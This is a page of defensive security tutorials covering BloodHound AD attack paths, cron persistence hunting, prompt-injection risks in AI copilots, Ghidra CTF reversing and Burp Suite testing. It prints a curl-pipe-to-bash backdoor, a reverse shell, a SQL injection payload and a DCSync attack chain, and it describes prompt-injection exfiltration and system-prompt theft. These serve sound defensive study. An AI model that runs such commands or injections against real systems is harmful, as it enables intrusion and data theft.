- BloodHound AD Attack Path Analysis: Complete Guideby HackerXone Team
In the 2023 MGM Resorts breach, attackers moved from a single compromised helpdesk account to full domain compromise in under 10 minutes — a path that BloodHound would have flagged in seconds. BloodHound is an open-source Active Directory reconnaissance tool that maps trust relationships, group memberships, and permissions into exploitable attack graphs. If you run Windows domains and haven’t pointed BloodHound at your own environment, attackers already have the advantage.
Step 1: Collect AD Data with SharpHound
SharpHound is BloodHound’s data collector — a C# ingestor that queries AD via LDAP and SMB. Run it from any domain-joined machine with a standard user account. You don’t need elevated privileges to collect most of the data that matters.
# Run SharpHound from a domain-joined workstation # User: jsmith@corp.local | Machine: WS-FINANCE-04 (192.0.2.44) .\SharpHound.exe -c All --zipfilename corp_bloodhound_20260627.zip [+] Resolved Domain: CORP.LOCAL [+] DC identified: DC01.corp.local (192.0.2.10) [+] Using DNS for enumeration [+] Collecting Users ... 1,204 objects [+] Collecting Groups ... 389 objects [+] Collecting Computers ... 318 objects [+] Collecting ACLs ... 94,712 edges [+] Collecting GPOs ... 47 objects [+] Collecting Sessions ... 812 sessions [+] Output written to corp_bloodhound_20260627.zipThat 94,712 ACL edges number is the one to watch. Each edge is a permission relationship — a user who can reset another user’s password, a group that has GenericWrite on a computer object, a service account with DCSync rights. Most of these are invisible in standard AD tooling. Import the ZIP into BloodHound’s GUI via the upload button, then let the graph engine do the heavy lifting.
As a defender, this collection run also appears in your SIEM. SharpHound generates a high volume of LDAP queries in a short window — typically triggering alerts in Microsoft Defender for Identity as “LDAP reconnaissance.” Know what your own tools look like so you can tune detection accordingly.
Step 2: Find the Shortest Path to Domain Admin
BloodHound’s most powerful built-in query is “Find Shortest Paths to Domain Admins.” Open the Analysis tab, click it, and watch the graph render. What you’re looking for: paths with fewer than four hops from a low-privileged user to a Domain Admin or the Domain Controller itself.
/* BloodHound Cypher query — run in the Raw Query box */ MATCH p=shortestPath( (u:User {name:"JSMITH@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) ) RETURN p /* Result path rendered in graph: jsmith@corp.local --[MemberOf]--> HELPDESK@corp.local --[GenericAll]--> svc_backup@corp.local --[DCSync]--> CORP.LOCAL */Read this graph left to right. jsmith is a member of the HELPDESK group. HELPDESK has GenericAll on the svc_backup service account — meaning any helpdesk member can reset that account’s password, modify its attributes, or add it to groups without any additional approval. And svc_backup has DCSync rights on the domain, meaning it can request a full replication dump of all password hashes from any Domain Controller.
An attacker with jsmith’s credentials executes this in three moves: reset svc_backup’s password, authenticate as svc_backup, run Mimikatz’s
lsadump::dcsyncto dump the krbtgt hash, then forge Golden Tickets at will. The entire path exists because of two misconfigurations — almost certainly from a forgotten helpdesk automation script and a legacy backup job. This is exactly the kind of debt that accumulates invisibly in AD environments older than five years.As a defender, your remediation priority is clear: remove GenericAll from the HELPDESK group on svc_backup, or strip DCSync rights from svc_backup entirely and reassign backup duties to a dedicated, tightly scoped account.
Step 3: Hunt Kerberoastable Accounts on the Attack Path
Not every service account with an SPN is dangerous. But service accounts that sit on an attack path and are Kerberoastable are high-priority targets. BloodHound flags these automatically. Cross-reference with a quick PowerShell check to see which ones have weak password ages.
# Find Kerberoastable accounts with passwords older than 365 days # Run from WS-FINANCE-04 as jsmith@corp.local Get-ADServiceAccount -Filter * -Properties ServicePrincipalNames, PasswordLastSet | Where-Object { $_.ServicePrincipalNames -ne $null -and $_.PasswordLastSet -lt (Get-Date).AddDays(-365) } | Select-Object Name, PasswordLastSet, ServicePrincipalNames Name PasswordLastSet ServicePrincipalNames ---- -------------- --------------------- svc_backup 2021-03-14 09:22:11 MSSQLSvc/SQL01.corp.local:1433 svc_print 2020-11-02 14:05:44 HTTP/PRINT01.corp.local svc_deploy 2022-08-19 08:31:00 HOST/DEPLOY01.corp.localsvc_backup hasn’t had its password rotated in over five years. An attacker requests a Kerberos service ticket for that SPN, takes the encrypted blob offline, and cracks it with Hashcat. A five-year-old service account password is likely a dictionary word with a number appended — crackable in minutes on a GPU. Combined with the GenericAll path you found in Step 2, this account is the linchpin of a full domain compromise.
Rotate passwords on all three accounts immediately. Then set a Group Policy to enforce annual (or better, quarterly) rotation on service accounts, or migrate to Group Managed Service Accounts (gMSA) which rotate automatically.
What To Do Right Now
Download SharpHound, run it against your own domain today, and import the ZIP into BloodHound. Run the built-in “Find Shortest Paths to Domain Admins” query and count how many paths exist with fewer than five hops. If you find more than three, you have immediate remediation work. Start with any path that crosses a service account with an SPN — those are your highest-probability breach scenarios and your fastest wins to close.
- Cron Job Abuse for Persistence: Detect & Preventby HackerXone Team
During the 2023 3CX supply chain compromise, post-exploitation scripts dropped cron jobs to maintain access long after the initial payload was removed. It is one of the oldest tricks in the book — and still works because most teams never audit scheduled tasks. This post shows you exactly what malicious cron entries look like and how to hunt them down before they become your problem.
What Attacker-Planted Cron Jobs Actually Look Like
Cron jobs live in several places on a Linux system:
/etc/cron*directories,/var/spool/cron/crontabs/, and individual user crontabs. Attackers favor user-level crontabs because they survive without root and often go unreviewed. They also love/etc/cron.d/because files dropped there blend in with legitimate package-managed entries.Here is what a real backdoor entry looks like, found on a compromised web server (prod-web01, 192.0.2.44) during an IR engagement:
# /var/spool/cron/crontabs/www-data # m h dom mon dow command */15 * * * * curl -s http://192.0.2.199/update.sh | bash @reboot nohup /tmp/.cache/sshd -i -p 8822 & >/dev/null 2>&1Two things stand out immediately. First, the
curl | bashpattern pulls a remote script every 15 minutes — if you null-route the C2 IP, the job keeps trying. Second, the@rebootentry launches a rogue SSH daemon from/tmp/.cache/, a hidden directory designed to look like a legitimate cache folder. Thenohupand output redirection keep it alive and silent.What you do next: null-route 192.0.2.199 at the firewall, kill the rogue sshd process, and wipe
/tmp/.cache/. Then check every other crontab on the host — attackers rarely plant just one.Hunting Malicious Cron Jobs Across Your Fleet
Manual review does not scale. Use auditd (Linux’s kernel-level audit daemon) combined with a targeted grep sweep to surface suspicious entries fast.
Run this one-liner on any host to dump all crontab content and flag common IOCs — remote fetchers, base64 blobs, and execution from world-writable directories:
# Run as root on prod-app02 (192.0.2.71) for user in $(cut -f1 -d: /etc/passwd); do crontab -u "$user" -l 2>/dev/null | grep -v '^#' | grep -v '^$' | \ grep -E '(curl|wget|base64|/tmp|/dev/shm|python.*-c|nc |bash -i)' | \ sed "s/^/[$user] /" done find /etc/cron* /var/spool/cron/ -type f -exec \ grep -lE '(curl|wget|base64|/tmp|/dev/shm)' {} \;Sample output from the same IR engagement:
[www-data] */15 * * * * curl -s http://192.0.2.199/update.sh | bash [marcus] @reboot python3 -c 'import socket,subprocess,os;...' >/dev/null 2>&1 /etc/cron.d/syslog-rotateThe
marcusentry is a Python reverse shell wrapped in a@reboottrigger — classic. The usermarcusis a developer account with no business reason to run anything at boot. The/etc/cron.d/syslog-rotatehit is worth inspecting too; it could be a legitimate package file or an attacker mimicking one.Always verify suspicious
/etc/cron.d/files against your package manager:dpkg -S /etc/cron.d/syslog-rotate 2>&1 # Expected output for a legit file: # logrotate: /etc/cron.d/logrotate # If output is empty or "not found", treat it as malicious.An orphaned file — not owned by any package — is a strong indicator of attacker placement. Pull it, hash it, and submit to your SIEM before deleting.
Hardening: Lock Down Cron Before the Attack
Detection is reactive. The goal is to make cron abuse harder in the first place. Three controls give you the most leverage:
- Restrict cron access with
/etc/cron.allow. Create this file with only the usernames that legitimately need cron. Any user not listed is denied. One command:echo "deploy" > /etc/cron.allow. Service accounts likewww-datashould never appear here. - Monitor crontab writes with auditd. Add a rule to flag any write to cron directories:
Now every crontab change generates an audit log entry. Forward those to your SIEM and alert on anything outside your change window.auditctl -w /var/spool/cron/ -p wa -k cron_modification auditctl -w /etc/cron.d/ -p wa -k cron_modification - Block outbound execution from cron. Use an egress firewall rule or an eBPF-based tool like Falco to alert when a process spawned by crond makes a network connection. Legitimate cron jobs almost never need to reach external IPs.
Combining file integrity monitoring on cron directories with auditd coverage closes most of the gap attackers exploit. Neither control is expensive to implement.
What To Do Now
Pick one production Linux host right now and run the sweep command from the second section. Pipe the output to a file, review every non-comment line, and verify any
/etc/cron.d/entries against your package manager. If you find an orphaned file or acurl | bashpattern you cannot explain, treat it as an active incident. Five minutes of review today beats a 3 AM call next month. - Restrict cron access with
- Securing AI Copilots & Agents in Your Org (2026)by HackerXone Team
In March 2026, a Fortune 500 engineering team discovered their internal AI coding copilot had been silently exfiltrating source code snippets to an attacker-controlled endpoint — triggered by a prompt injection payload embedded in a third-party dependency’s README file. The copilot had file-system access, internet access, and no outbound filtering. That combination is a loaded gun.
AI copilots and autonomous agents are now standard infrastructure. They also represent one of the largest unaudited attack surfaces in most organizations. Here’s how to find the gaps and close them.
Audit What Your Agent Can Actually Touch
Most teams deploy an AI agent, wire it to tools, and move on. Nobody audits the effective permission set. Start by enumerating exactly what the agent has access to — treat it like a service account review.
If your agent runs as a named identity (common with GitHub Copilot Workspace, AutoGen, or LangChain deployments), pull its token scopes and filesystem mounts. Here’s a quick audit script targeting a containerized LangChain agent running on an internal host:
# Connect to the agent container and dump its environment and mounts ssh sysadmin@192.0.2.41 \ "docker inspect langchain-agent-prod | jq '.[0] | {Env: .Config.Env, Mounts: .Mounts, NetworkMode: .HostConfig.NetworkMode}'" # Output: { "Env": [ "OPENAI_API_KEY=sk-prod-xxxxxxxxxxxxxxxxxxxxxxxx", "DB_PASSWORD=S3cr3tPass!", "GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxx" ], "Mounts": [ { "Type": "bind", "Source": "/var/codebase", "Destination": "/app/workspace", "RW": true } ], "NetworkMode": "host" }This output is a disaster report. Three production secrets are baked into environment variables, the entire codebase is mounted read-write, and the container is running in host networking mode — meaning it can reach any internal service without restriction.
An attacker who achieves prompt injection here doesn’t need to escalate privileges. The agent is already running with them. Your next step: rotate every credential visible in
Env, switch to a secrets manager (Vault, AWS Secrets Manager), change the mount to read-only unless write access is explicitly required, and drop the network mode to a scoped bridge network.Test for Prompt Injection Before Attackers Do
Prompt injection is the AI equivalent of SQL injection — untrusted data influencing the model’s instruction set. If your agent ingests external content (emails, tickets, web pages, repo files), it’s a viable attack vector right now.
Use Garak (an open-source LLM vulnerability scanner) to run injection probes against your agent’s API endpoint. Install it and point it at your internal agent:
pip install garak # Run prompt injection probes against an internal agent REST endpoint garak --model rest \ --model-name "internal-copilot" \ --rest-uri "http://192.0.2.87:8080/v1/chat" \ --probes promptinjection \ --report-file /tmp/garak-report.json # Abbreviated output: [*] Probe: promptinjection.HijackHateSimple PASS (12/12) [*] Probe: promptinjection.HijackKillHumans PASS (12/12) [*] Probe: promptinjection.InstructionOverride FAIL (4/12 blocked) ✔ 8 payloads succeeded [*] Probe: promptinjection.SystemPromptStealing FAIL (2/12 blocked) ✔ 10 payloads succeededThe
InstructionOverrideandSystemPromptStealingfailures mean an attacker feeding malicious content into this agent can override its system instructions two-thirds of the time, and can extract the system prompt (which likely contains internal context, tool configs, or behavior rules) in 83% of attempts.Those stolen system prompts become reconnaissance. An attacker learns what tools the agent can call, what data sources it connects to, and what guardrails to work around. Remediation here is layered: add an input sanitization layer that strips known injection patterns before content reaches the model, implement a separate LLM firewall (LLM Guard or Rebuff are solid options), and treat the system prompt as sensitive — never let the model repeat it verbatim.
Enforce Least Privilege at the Tool Layer
Agents don’t just read — they act. Every tool you give an agent (send email, query database, run shell commands, call APIs) is a potential capability an injected payload can weaponize. Most developers wire up tools generously during prototyping and never revisit the list.
Audit your agent’s registered tools and apply strict scoping:
- Database access: Create a dedicated read-only agent DB role. Never use the application service account.
- Shell execution: If the agent doesn’t need it, remove it entirely. If it does, sandbox it with
seccompprofiles and allowlist specific commands. - Outbound HTTP: Proxy all agent traffic through an egress filter (Squid, Zscaler, or a simple allowlist firewall rule). Log every domain the agent calls.
- File access: Mount only the directories the agent legitimately needs, read-only where possible.
The principle is identical to service account hygiene: an agent compromised with minimal permissions causes a contained incident. An agent with broad permissions causes a breach.
What To Do Right Now
Pick one AI agent or copilot running in your environment today. Run
docker inspect(or the equivalent for your deployment platform) and pull its environment variables, mounts, and network config. If you see plaintext secrets or a host-network mode, stop — rotate those credentials before end of day and open a ticket to move secrets to a vault. That single audit will almost certainly surface something worth fixing, and it takes under ten minutes. - Reverse Engineering CTF Challenges with Ghidraby HackerXone Team
At DEF CON CTF 2024, dozens of teams stalled on a 200-point reversing challenge because they treated the binary as a black box. The ones who solved it in under an hour opened Ghidra, found a single obfuscated comparison function, and patched their way to the flag in minutes. That gap — between staring at
stringsoutput and actually reading decompiled logic — is exactly what this walkthrough closes.Loading the Binary and Finding Your Bearings
Start by grabbing basic intel before Ghidra opens. Run
fileandchecksecon the target binary first — both take seconds and tell you the architecture, protections, and whether you need to worry about PIE or stack canaries.$ file crackme_final crackme_final: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped $ checksec --file=crackme_final [*] '/home/ctfuser/challenges/crackme_final' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)No PIE means the binary loads at a fixed base address —
0x400000. That matters because any address Ghidra shows you is the real address at runtime. No canary means stack-based overflow is possible if you need it later. Not stripped means function names survived — a gift in CTF work.Now import into Ghidra. Create a new project, drag the binary in, accept the auto-analysis defaults, and let it run. Once analysis finishes, open the Symbol Tree on the left and look for
main. Double-click it. The Decompiler window on the right is where the real work happens.Reading the Decompiled Logic — A Real Example
Here is what Ghidra’s decompiler output looks like for a typical CTF password-check binary. The function names are auto-recovered because the binary wasn’t stripped.
undefined8 main(void) { int iVar1; char local_48 [64]; printf("Enter the password: "); fgets(local_48, 64, stdin); iVar1 = check_password(local_48); if (iVar1 == 0) { puts("Wrong password."); } else { puts("Correct! Flag: "); print_flag(); } return 0; }The logic is plain: your input goes into
local_48, gets passed tocheck_password(), and the return value decides your fate. Zero means wrong. Anything else prints the flag. Your next move is obvious — double-clickcheck_passwordin the decompiler and read it.undefined4 check_password(char *param_1) { int iVar1; char local_28 [32]; strcpy(local_28, "r3v3rs3_m3"); local_28[10] = local_28[10] ^ 0x42; iVar1 = strcmp(param_1, local_28); return (undefined4)(iVar1 == 0); }Now you have something concrete. The binary builds a string
"r3v3rs3_m3", then XORs the character at index 10 with0x42. Index 10 is\0— the null terminator — so XOR with0x42appends the byte0x42(ASCIIB). The target string is"r3v3rs3_m3B"without the newline thatfgetsadds. Strip that newline and you have your password.Verify it immediately:
$ printf 'r3v3rs3_m3B' | ./crackme_final Enter the password: Correct! Flag: CTF{gh1dra_d3c0mp1l3r_w1ns}That XOR trick is everywhere in CTF reversing. Whenever you see a comparison against a dynamically-built buffer, trace every mutation step before the
strcmp. Ghidra shows you each assignment inline — just read top to bottom.Using Ghidra’s Search and Rename Features to Move Faster
Speed matters in timed CTFs. Two Ghidra features cut your analysis time in half.
Search for strings: Use Search → For Strings and filter by minimum length 4. In most CTF binaries you will see obvious candidates — partial flag formats, error messages, or encoded blobs. Right-click any string and choose Show References to jump directly to the function that uses it. This beats manually navigating the Symbol Tree every time.
Rename variables and functions: When you figure out what a variable holds, press
Lin the decompiler to rename it. Changelocal_48touser_inputandiVar1topassword_match. The decompiler updates everywhere that variable appears. On a binary with four or five interconnected functions, this discipline saves you from re-reading the same confusing output three times.One more fast technique: if a function looks like it decrypts something, look for a loop with an XOR or ADD operation over a byte array. Right-click the array in the listing view and use Data → Create Array to view it as bytes. Then script the decryption in Python directly from what Ghidra shows you — key, length, operation — and run it locally without ever executing untrusted code.
What To Do Now
Pull a beginner reversing challenge from picoCTF — specifically the “vault-door” series — load it into Ghidra, and practice the full loop: read
main, trace the comparison function, rename every mystery variable, and extract the flag without running the binary. Do it once and the muscle memory sticks. That is the skill that separates teams on the scoreboard. - Burp Suite Pro: Advanced Web App Security Testingby HackerXone Team
In 2023, attackers exploited a misconfigured authentication endpoint in a SaaS platform — a flaw that a single Burp Suite Pro active scan would have caught in under two minutes. The vulnerability? An IDOR (Insecure Direct Object Reference) hiding in plain sight behind a JSON parameter. If you’re still using Burp’s free tier or clicking through the UI without a strategy, you’re leaving critical bugs on the table.
\n\nActive Scanning a Specific Endpoint
\n\nBurp Scanner is not a \”launch and pray\” tool. Professionals target it surgically. Instead of scanning an entire application and drowning in noise, isolate the endpoints that handle sensitive logic: authentication, file uploads, account settings.
\n\nHere’s the workflow. Proxy your browser through Burp (default listener:
\n\n127.0.0.1:8080), log in to the target app athttps://staging.corpapp.internal, and navigate to the account profile page. In the HTTP history tab, right-click the POST request to/api/v2/user/updateand choose Do active scan.Burp will inject payloads into every parameter. Within minutes you’ll see output like this in the Issue Activity panel:
\n\n
\n\nIssue: SQL Injection\nSeverity: High\nConfidence: Certain\nEndpoint: POST https://staging.corpapp.internal/api/v2/user/update\nParameter: user_id\nEvidence:\n Request: user_id=42'+AND+1=CAST((SELECT+version())+AS+INT)--\n Response: ERROR: invalid input syntax for type integer:\n \"PostgreSQL 14.2 on x86_64-pc-linux-gnu\"\nThat response is gold. The database threw a type-cast error, confirming the backend is PostgreSQL 14.2 and that the
\n\nuser_idparameter is unsanitized. An attacker pivots immediately to data extraction — enumerating tables, pulling credentials. As a defender, you now have a confirmed, high-confidence finding with exact reproduction steps. File it, replicate it manually to eliminate false positives, and escalate.Cracking Business Logic With Intruder
\n\nBurp Intruder is Burp’s payload-delivery engine. It takes a single HTTP request and fires it hundreds or thousands of times with values you control. The free version throttles requests — Pro removes that limit entirely, which matters when you’re brute-forcing a rate-limited endpoint or fuzzing parameter ranges.
\n\nScenario: the same app has a coupon redemption endpoint. You suspect the coupon codes are sequential integers wrapped in Base64. Capture this request in Burp:
\n\n
\n\nPOST /api/v2/coupon/redeem HTTP/2\nHost: staging.corpapp.internal\nAuthorization: Bearer eyJhbGci...truncated\nContent-Type: application/json\n\n{\"coupon_code\": \"MTAwMQ==\"}
\n\nMTAwMQ==is Base64 for1001. Send this request to Intruder. Highlight the Base64 value, add it as a payload position (the§markers). Now configure a payload processor:- \n
- Set payload type to Numbers, range 1000–1200, step 1. \n
- Add a payload processing rule: Encode → Base64-encode. \n
- Set the attack type to Sniper. \n
- Start the attack. \n
Sort the results by HTTP status code. You’ll see something like:
\n\n
\n\n# Payload Status Length Comment\n1 MTAwMA== 404 212\n2 MTAwMQ== 200 389 \"coupon_redeemed\": true\n3 MTAwMg== 200 389 \"coupon_redeemed\": true\n4 MTAwMw== 403 201\n5 MTAwNA== 200 389 \"coupon_redeemed\": true\n...Three valid, unredeemed coupons discovered — all belonging to other accounts. This is a textbook IDOR. The app validates that the coupon exists but never checks whether it belongs to the authenticated user. An attacker walks away with free credits or discounts at scale. Your next move as a pentester: document the affected coupon ID range, calculate business impact (if codes are $10 each and 50 are valid, that’s $500 in exposed value), and report it as High severity.
\n\nTurbo-Charging Repeater With Match-and-Replace
\n\nRepeater is where you manually verify and escalate findings. One underused Pro feature: Match and Replace rules under Proxy settings. These auto-modify requests or responses in real time — without you editing them manually every single time.
\n\nExample: the app enforces a role check via a response header
\n\nX-User-Role: viewer. You want to test whether the frontend trusts this header blindly. Set a Match and Replace rule:- \n
- Type: Response header \n
- Match:
X-User-Role: viewer\n - Replace:
X-User-Role: admin\n
Now every response flowing through Burp replaces that header automatically. Reload the app in your browser. If the admin panel suddenly appears, the application is making trust decisions client-side — a critical authorization flaw. You just confirmed it without writing a single line of code.
\n\nWhat To Do Now
\n\nOpen Burp Suite Pro right now and navigate to Proxy → HTTP History on any app you’re currently testing. Find the first POST request that touches user data. Right-click it, send it to Intruder, and add a payload position around any numeric ID parameter. Run a simple numbers payload from 1 to 50. If any response returns data that isn’t yours — you just found an IDOR. That single habit, applied consistently, catches more real vulnerabilities than any automated full-site scan.





